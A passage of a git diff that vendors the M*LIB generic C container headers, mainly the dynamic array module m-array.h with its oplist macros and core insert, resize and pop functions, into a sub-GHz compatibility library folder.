+      M_CALL_IT_INSERT(contDstOp, contDst, _itDst,                            \
+                       *M_CALL_IT_CREF(contSrcOp, _itSrc));                   \
+    }                                                                         \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#if M_USE_SMALL_NAME
+#define ALGO_DEF M_ALGO_DEF
+#define ALGO_FOR_EACH M_ALGO_FOR_EACH
+#define ALGO_TRANSFORM M_ALGO_TRANSFORM
+#define ALGO_EXTRACT M_ALGO_EXTRACT
+#define ALGO_REDUCE M_ALGO_REDUCE
+#define ALGO_INSERT_AT M_ALGO_INSERT_AT
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-array.h b/lib/subghz_unleashed_compat/include/mlib/m-array.h
new file mode 100644
index 000000000..134c16bf1
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-array.h
@@ -0,0 +1,1154 @@
+/*
+ * M*LIB - dynamic ARRAY module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_ARRAY_H
+#define MSTARLIB_ARRAY_H
+
+#include "m-core.h"
+
+/* Define a dynamic array of the given type and its associated functions.
+   USAGE: ARRAY_DEF(name, type [, oplist_of_the_type]) */
+#define M_ARRAY_DEF(name, ...)                                                \
+  M_ARRAY_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a dynamic array of the given type and its associated functions
+  as the provided type name_t with the iterator named it_t
+   USAGE: ARRAY_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_ARRAY_DEF_AS(name, name_t, it_t, ...)                               \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_ARRA4_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+             ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+              (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a dynamic array given its name and its oplist.
+   If no oplist is given it is assumed to be M_BASIC_OPLIST
+   USAGE: ARRAY_OPLIST(name[, oplist of the type]) */
+#define M_ARRAY_OPLIST(...)                                                   \
+  M_ARRA4_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                               \
+                   ((__VA_ARGS__, M_BASIC_OPLIST),                            \
+                    (__VA_ARGS__ )))
+
+
+/* Define an init value to init global variables of type array.
+  USAGE:
+    array_t global_variable = ARRAY_INIT_VALUE();
+ */
+#define M_ARRAY_INIT_VALUE()                                                  \
+  { { 0, 0, NULL } }
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_ARRA4_OPLIST_P1(arg) M_ARRA4_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_ARRA4_OPLIST_P2(name, oplist)                                       \
+  M_IF_OPLIST(oplist)(M_ARRA4_OPLIST_P3, M_ARRA4_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_ARRA4_OPLIST_FAILURE(name, oplist)                                  \
+  ((M_LIB_ERROR(ARGUMENT_OF_ARRAY_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a dynamic array */
+/* FIXME: Do we want to export some methods as they are slow and 
+   are not fit to be used for building other methods (like _it_remove)? */
+#ifndef M_USE_CONTEXT
+#define M_ARRA4_OPLIST_P3(name, oplist)                                       \
+  (INIT(M_F(name, _init))                                                     \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(INIT_SET(M_F(name, _init_set)),)       \
+   ,M_IF_METHOD(INIT_SET, oplist)(INIT_WITH(API_1(M_INIT_WITH_VAI)),)         \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(SET(M_F(name, _set)), )                \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(M_F(name, _move))                                                    \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,TYPE(M_F(name,_ct)) , GENTYPE(struct M_F(name,_s)*)                       \
+   ,NAME(name)                                                                \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,EMPTY_P(M_F(name,_empty_p))                                               \
+   ,IT_TYPE(M_F(name,_it_ct)),                                                \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_LAST(M_F(name,_it_last))                                               \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_PREVIOUS(M_F(name,_previous))                                          \
+   ,IT_REF(M_F(name,_ref))                                                    \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,M_IF_METHOD(INIT_SET, oplist)(IT_INSERT(M_F(name,_insert)) ,)             \
+   ,IT_REMOVE(M_F(name,_remove))                                              \
+   ,RESET(M_F(name,_reset))                                                   \
+   ,KEY_TYPE(size_t)                                                          \
+   ,VALUE_TYPE(M_F(name, _subtype_ct))                                        \
+   ,KEY_OPLIST(M_BASIC_OPLIST)                                                \
+   ,VALUE_OPLIST(oplist)                                                      \
+   ,M_IF_METHOD(SET, oplist)(SET_KEY(M_F(name, _set_at)) ,)                   \
+   ,GET_KEY(M_F(name, _get))                                                  \
+   ,M_IF_METHOD(INIT, oplist)(SAFE_GET_KEY(M_F(name, _safe_get)) ,)           \
+   ,ERASE_KEY(M_F(name, _erase))                                              \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,M_IF_METHOD(INIT_SET, oplist)(PUSH(M_F(name,_push_back)) ,)               \
+   ,POP(M_F(name,_pop_back))                                                  \
+   ,PUSH_MOVE(M_F(name,_push_move))                                           \
+   ,POP_MOVE(M_F(name,_pop_move))                                             \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(CMP, oplist)(SORT(M_F(name, _special_sort)),)                 \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#else
+#define M_ARRA4_OPLIST_P3(name, oplist)                                       \
+  (INIT(M_F(name, _init))                                                     \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(INIT_SET(API_0P(M_F(name, _init_set))),) \
+   ,M_IF_METHOD(INIT_SET, oplist)(INIT_WITH(API_1(M_INIT_WITH_VAI)),)         \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(SET(API_0P(M_F(name, _set))), )        \
+   ,CLEAR(API_0P(M_F(name, _clear)))                                          \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(API_0P(M_F(name, _move)))                                            \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,TYPE(M_F(name,_ct)) , GENTYPE(struct M_F(name,_s)*)                       \
+   ,NAME(name)                                                                \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,EMPTY_P(M_F(name,_empty_p))                                               \
+   ,IT_TYPE(M_F(name,_it_ct)),                                                \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_LAST(M_F(name,_it_last))                                               \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_PREVIOUS(M_F(name,_previous))                                          \
+   ,IT_REF(M_F(name,_ref))                                                    \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,M_IF_METHOD(INIT_SET, oplist)(IT_INSERT(API_0P(M_F(name,_insert))) ,)     \
+   ,IT_REMOVE(API_0P(M_F(name,_remove)))                                      \
+   ,RESET(API_0P(M_F(name,_reset)))                                           \
+   ,KEY_TYPE(size_t)                                                          \
+   ,VALUE_TYPE(M_F(name, _subtype_ct))                                        \
+   ,KEY_OPLIST(M_BASIC_OPLIST)                                                \
+   ,VALUE_OPLIST(oplist)                                                      \
+   ,M_IF_METHOD(SET, oplist)(SET_KEY(API_0P(M_F(name, _set_at))) ,)           \
+   ,GET_KEY(M_F(name, _get))                                                  \
+   ,M_IF_METHOD(INIT, oplist)(SAFE_GET_KEY(API_0P(M_F(name, _safe_get))) ,)   \
+   ,ERASE_KEY(API_0P(M_F(name, _erase)))                                      \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,M_IF_METHOD(INIT_SET, oplist)(PUSH(API_0P(M_F(name,_push_back))) ,)       \
+   ,POP(API_0P(M_F(name,_pop_back)))                                          \
+   ,PUSH_MOVE(API_0P(M_F(name,_push_move)))                                   \
+   ,POP_MOVE(M_F(name,_pop_move))                                             \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(CMP, oplist)(SORT(M_F(name, _special_sort)),)                 \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#endif
+
+/********************************** INTERNAL *********************************/
+
+/* Define the internal contract of an array */
+#ifdef NDEBUG
+#define M_ARRA4_CONTRACT(a)
+#else
+#define M_ARRA4_CONTRACT(a) do {					                                         \
+    M_ASSERT (a != NULL);                                                     \
+    M_ASSERT (a->size <= a->alloc);                                           \
+    M_ASSERT (a->size == 0 || a->ptr != NULL);                                \
+    M_ASSERT (a->alloc == 0 || a->ptr != NULL);                               \
+  } while (0)
+#endif
+
+/* Deferred evaluation for the array definition,
+   so that all arguments are fully evaluated before further expansion
+   (ensuring good performance)
+   and performed a final step evaluation of the returning expansion
+   (ensuring delayed evaluation are still expanded)
+*/
+#define M_ARRA4_DEF_P1(arg) M_ID( M_ARRA4_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_ARRA4_DEF_P2(name, type, oplist, array_t, it_t)                     \
+  M_IF_OPLIST(oplist)(M_ARRA4_DEF_P3, M_ARRA4_DEF_FAILURE)(name, type, oplist, array_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_ARRA4_DEF_FAILURE(name, type, oplist, array_t, it_t)                \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(ARRAY_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Internal definition:
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the array
+   - array_t: alias for the type of the array
+   - it_t: alias for the iterator of the array
+*/
+#define M_ARRA4_DEF_P3(name, type, oplist, array_t, it_t)                     \
+  M_ARRA4_DEF_TYPE(name, type, oplist, array_t, it_t)                         \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_ARRA4_DEF_CORE(name, type, oplist, array_t, it_t)                         \
+  M_ARRA4_DEF_IO(name, type, oplist, array_t, it_t)                           \
+  M_EMPLACE_QUEUE_DEF(name, array_t, _emplace_back, oplist, M_ARRA4_EMPLACE_DEF)
+
+/* Define the types */
+#define M_ARRA4_DEF_TYPE(name, type, oplist, array_t, it_t)                   \
+                                                                              \
+  /* Define a dynamic array */                                                \
+  typedef struct M_F(name, _s) {                                              \
+    size_t size;            /* Number of elements in the array */             \
+    size_t alloc;           /* Allocated size for the array base */           \
+    type *ptr;              /* Pointer to the array base */                   \
+  } array_t[1];                                                               \
+                                                                              \
+  /* Define an iterator over an array */                                      \
+  typedef struct M_F(name, _it_s) {                                           \
+    size_t index;                       /* Index of the element */            \
+    const struct M_F(name, _s) *array;  /* Reference of the array */          \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the synonyms of the type */                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  typedef array_t M_F(name, _ct);                                             \
+  typedef it_t M_F(name, _it_ct);                                             \
+  typedef type M_F(name, _subtype_ct);                                        \
+
+/* Define the core functions */
+#define M_ARRA4_DEF_CORE(name, type, oplist, array_t, it_t)                   \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(array_t v)                                                 \
+  {                                                                           \
+    M_ASSERT (v != NULL);                                                     \
+    /* Initially, the array is empty with nothing allocated */                \
+    v->size  = 0;                                                             \
+    v->alloc = 0;                                                             \
+    v->ptr   = NULL;                                                          \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, array_t v)                                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    for(size_t i = 0; i < v->size; i++)                                       \
+      M_CALL_CLEAR(oplist, v->ptr[i]);                                        \
+    v->size = 0;                                                              \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, array_t v)                                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_F(name, _reset) M_R(v);                                                 \
+    M_CALL_FREE(oplist, type, v->ptr, v->alloc);                              \
+    /* This is so reusing the object implies an assertion failure */          \
+    v->alloc = 1;                                                             \
+    v->ptr = NULL;                                                            \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD2(INIT_SET, SET, oplist)(                                        \
+  M_P(void, name, _set, array_t d, const array_t s)                           \
+  {                                                                           \
+    M_ARRA4_CONTRACT(d);                                                      \
+    M_ARRA4_CONTRACT(s);                                                      \
+    if (M_UNLIKELY (d == s)) return;                                          \
+    if (s->size > d->alloc) {                                                 \
+      const size_t alloc = s->size;                                           \
+      type *ptr = M_CALL_REALLOC(oplist, type, d->ptr, d->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL)) {                                   \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      d->ptr = ptr;                                                           \
+      d->alloc = alloc;                                                       \
+    }                                                                         \
+    size_t i;                                                                 \
+    size_t step1 = M_MIN(s->size, d->size);                                   \
+    for(i = 0; i < step1; i++)                                                \
+      M_CALL_SET(oplist, d->ptr[i], s->ptr[i]);                               \
+    for( ; i < d->size; i++)                                                  \
+      M_CALL_CLEAR(oplist, d->ptr[i]);                                        \
+    for( ; i < s->size; i++) {                                                \
+      M_CALL_INIT_SET(oplist, d->ptr[i], s->ptr[i]);                          \
+      M_IF_EXCEPTION( d->size = i + 1 );                                      \
+    }                                                                         \
+    d->size = s->size;                                                        \
+    M_ARRA4_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, array_t d, const array_t s)                      \
+  {                                                                           \
+    M_ASSERT (d != s);                                                        \
+    M_ON_EXCEPTION(M_F(name, _clear) M_R(d) ) {                               \
+      M_F(name, _init)(d);                                                    \
+      M_F(name, _set) M_R(d, s);                                              \
+    }                                                                         \
+  }                                                                           \
+  , /* No SET & INIT_SET */)                                                  \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(array_t d, array_t s)                                 \
+  {                                                                           \
+    M_ASSERT (d != s);                                                        \
+    M_ARRA4_CONTRACT(s);                                                      \
+    d->size  = s->size;                                                       \
+    d->alloc = s->alloc;                                                      \
+    d->ptr   = s->ptr;                                                        \
+    /* Robustness */                                                          \
+    s->alloc = 1;                                                             \
+    s->ptr   = NULL;                                                          \
+    M_ARRA4_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, array_t d, array_t s)                                \
+  {                                                                           \
+    M_ASSERT (d != s);                                                        \
+    M_F(name, _clear) M_R(d);                                                 \
+    M_F(name, _init_move)(d, s);                                              \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(SET, oplist)(                                                   \
+  M_P(void, name, _set_at, array_t v, size_t i, type const x)                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT(v->size > 0 && v->ptr != NULL);                                  \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    M_CALL_SET(oplist, v->ptr[i], x);                                         \
+  }                                                                           \
+  , /* No SET */)                                                             \
+                                                                              \
+  M_INLINE type  *                                                            \
+  M_F(name, _back)(array_t v)                                                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    return &v->ptr[v->size-1];                                                \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, _push_back_raw, array_t v)                                \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    if (M_UNLIKELY (v->size >= v->alloc)) {                                   \
+      M_ASSERT(v->size == v->alloc);                                          \
+      size_t alloc = M_CALL_INC_ALLOC(oplist, v->alloc);                      \
+      if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                             \
+        M_MEMORY_FULL(type, -(size_t)1);                                      \
+      }                                                                       \
+      M_ASSERT (alloc > v->size);                                             \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    type *ret = &v->ptr[v->size];                                             \
+    v->size++;                                                                \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSUME(ret != NULL);                                                    \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _push_back, array_t v, type const x)                        \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw) M_R(v);                            \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION( v->size --);                                              \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    M_IF_EXCEPTION( v->size ++);                                              \
+  }                                                                           \
+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _push_new, array_t v)                                     \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw) M_R(v);                            \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return NULL;                                                            \
+    M_IF_EXCEPTION( v->size --);                                              \
+    M_CALL_INIT(oplist, *data);                                               \
+    M_IF_EXCEPTION( v->size ++);                                              \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_P(void, name, _push_move, array_t v, type *x)                             \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, _push_back_raw) M_R(v);                            \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _push_at, array_t v, size_t key, type const x)              \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT_INDEX(key, v->size+1);                                           \
+    if (M_UNLIKELY (v->size >= v->alloc) ) {                                  \
+      M_ASSERT(v->size == v->alloc);                                          \
+      size_t alloc = M_CALL_INC_ALLOC(oplist, v->alloc);                      \
+      if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                             \
+        M_MEMORY_FULL(type, -(size_t)1);                                      \
+      }                                                                       \
+      M_ASSERT (alloc > v->size);                                             \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    memmove(&v->ptr[key+1], &v->ptr[key], (v->size-key)*sizeof(type));        \
+    M_ON_EXCEPTION( memmove(&v->ptr[key], &v->ptr[v->size], sizeof(type))) {  \
+      M_CALL_INIT_SET(oplist, v->ptr[key], x);                                \
+    }                                                                         \
+    v->size++;                                                                \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _resize, array_t v, size_t size)                            \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    if (v->size > size) {                                                     \
+      /* Decrease size of array */                                            \
+      for(size_t i = size ; i < v->size; i++)                                 \
+        M_CALL_CLEAR(oplist, v->ptr[i]);                                      \
+      v->size = size;                                                         \
+    } else if (v->size < size) {                                              \
+      /* Increase size of array */                                            \
+      if (size > v->alloc) {                                                  \
+        size_t alloc = size ;                                                 \
+        type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);    \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+          M_MEMORY_FULL(type, alloc);                                         \
+        }                                                                     \
+        v->ptr = ptr;                                                         \
+        v->alloc = alloc;                                                     \
+      }                                                                       \
+      for(size_t i = v->size ; i < size; i++) {                               \
+        M_CALL_INIT(oplist, v->ptr[i]);                                       \
+        M_IF_EXCEPTION( v->size = i+1);                                       \
+      }                                                                       \
+      v->size = size;                                                         \
+    }                                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_P(void, name, _reserve, array_t v, size_t alloc)                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    /* NOTE: Reserve below needed size to perform a shrink to fit */          \
+    if (v->size > alloc) {                                                    \
+      alloc = v->size;                                                        \
+    }                                                                         \
+    if (M_UNLIKELY (alloc == 0)) {                                            \
+      M_CALL_FREE(oplist, type, v->ptr, v->alloc);                            \
+      v->size = v->alloc = 0;                                                 \
+      v->ptr = NULL;                                                          \
+    } else {                                                                  \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _safe_get, array_t v, size_t idx)                         \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    const size_t size = idx + 1;                                              \
+    /* resize if needed */                                                    \
+    if (v->size <= size) {                                                    \
+      /* Increase size of array */                                            \
+      if (M_UNLIKELY (size > v->alloc) ) {                                    \
+        size_t alloc = M_CALL_INC_ALLOC(oplist, size) ;                       \
+        /* In case of overflow of size_t */                                   \
+        if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                           \
+          M_MEMORY_FULL(type, -(size_t)1);                                    \
+        }                                                                     \
+        type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);    \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+          M_MEMORY_FULL(type, alloc);                                         \
+        }                                                                     \
+        v->ptr = ptr;                                                         \
+        v->alloc = alloc;                                                     \
+      }                                                                       \
+      for(size_t i = v->size ; i < size; i++) {                               \
+        M_CALL_INIT(oplist, v->ptr[i]);                                       \
+        M_IF_EXCEPTION( v->size = i+1);                                       \
+      }                                                                       \
+      v->size = size;                                                         \
+    }                                                                         \
+    M_ASSERT (idx < v->size);                                                 \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return &v->ptr[idx];                                                      \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _pop_back, type *dest, array_t v)                           \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    v->size--;                                                                \
+    if (dest) {                                                               \
+      M_DO_MOVE (oplist, *dest, v->ptr[v->size]);                             \
+    } else {                                                                  \
+      M_CALL_CLEAR(oplist, v->ptr[v->size]);                                  \
+    }                                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _pop_move)(type *dest, array_t v)                                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    M_ASSERT (dest != NULL);                                                  \
+    v->size--;                                                                \
+    M_CALL_INIT_MOVE (oplist, *dest, v->ptr[v->size]);                        \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  /* TODO: Factorize all INIT dependent methods within the same IF*/          \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _pop_until, array_t v, it_t pos)                            \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v == pos->array);                                               \
+    M_ASSERT_INDEX(pos->index, v->size+1);                                    \
+    M_F(name, _resize) M_R(v, pos->index);                                    \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const array_t v)                                        \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return v->size == 0;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const array_t v)                                           \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return v->size;                                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity)(const array_t v)                                       \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return v->alloc;                                                          \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_at, type *dest, array_t v, size_t i)                   \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT (v->size > 0 && v->ptr != NULL);                                 \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    if (dest)                                                                 \
+      M_DO_MOVE (oplist, *dest, v->ptr[i]);                                   \
+    else                                                                      \
+      M_CALL_CLEAR(oplist, v->ptr[i]);                                        \
+    memmove(&v->ptr[i], &v->ptr[i+1], sizeof(type)*(v->size-1-i));            \
+    v->size--;                                                                \
